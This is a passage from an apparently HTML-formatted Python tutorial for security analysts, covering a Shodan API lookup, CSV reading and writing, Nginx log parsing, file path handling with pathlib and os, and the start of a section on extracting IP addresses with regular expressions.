&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.shodan.io/shodan/host/8.8.8.8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;org&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                     &lt;span class="c1"&gt;# Google LLC
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                   &lt;span class="c1"&gt;# [53, 443]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 CSV — Log Analysis
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;

&lt;span class="c1"&gt;# Read CSV
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hosts.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DictReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;         &lt;span class="c1"&gt;# Use header row as keys
&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;# Write CSV
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;router&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;up&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;server&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;up&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;output.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;newline&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;fieldnames&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;writer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DictWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fieldnames&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;fieldnames&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeheader&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writerows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Parse Apache/Nginx access logs
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="n"&gt;log_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;(\S+) \S+ \S+ \[(.+?)\] &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(\S+) (\S+) \S+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; (\d+) (\d+)&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/var/log/nginx/access.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;groups&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;404&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;404: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; requested &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.5 Working with Paths
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;                &lt;span class="c1"&gt;# Modern, recommended
&lt;/span&gt;
&lt;span class="c1"&gt;# pathlib (Python 3.4+, always use this)
&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc/ssh/sshd_config&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                      &lt;span class="c1"&gt;# True/False
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_file&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                     &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_dir&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                      &lt;span class="c1"&gt;# False
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                        &lt;span class="c1"&gt;# /etc/ssh
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="c1"&gt;# sshd_config
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="c1"&gt;# sshd_config (no extension here)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;suffix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                        &lt;span class="c1"&gt;# '' (no extension)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stat&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;st_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                &lt;span class="c1"&gt;# File size in bytes
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stat&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;st_mtime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               &lt;span class="c1"&gt;# Modification timestamp
&lt;/span&gt;
&lt;span class="c1"&gt;# Build paths
&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;home&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                     &lt;span class="c1"&gt;# /home/kali or /root
&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.ssh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;config&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;     &lt;span class="c1"&gt;# /home/kali/.ssh/config
&lt;/span&gt;
&lt;span class="c1"&gt;# List directory
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;iterdir&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_file&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Recursive glob
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;py_file&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/home&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;rglob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;sh_file&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;glob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*.conf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sh_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# os module (older but still used)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getcwd&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                     &lt;span class="c1"&gt;# Current directory
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;makedirs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exist_ok&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Create directory tree
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HOME&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# Get environment variable
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                     &lt;span class="c1"&gt;# List directory
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sshd_config&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Build path (os.path way)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  8. String Operations
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Regular Expressions — The Security Analyst's Power Tool
&lt;/h3&gt;

&lt;p&gt;Regular expressions (regex) are patterns for matching, extracting, and manipulating text. They are indispensable for log analysis, data extraction, and input validation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="c1"&gt;# Basic matching
&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Failed password for root from 192.168.1.100 port 51234&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# re.search — find first match anywhere in string
&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;              &lt;span class="c1"&gt;# 192.168.1.100
&lt;/span&gt;
&lt;span class="c1"&gt;# re.findall — find all matches
&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hosts: 192.168.1.1, 10.0.0.1, 172.16.0.5 are down&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                             &lt;span class="c1"&gt;# ['192.168.1.1', '10.0.0.1', '172.16.0.5']
&lt;/span&gt;
&lt;span class="c1"&gt;# re.match — match at beginning of string
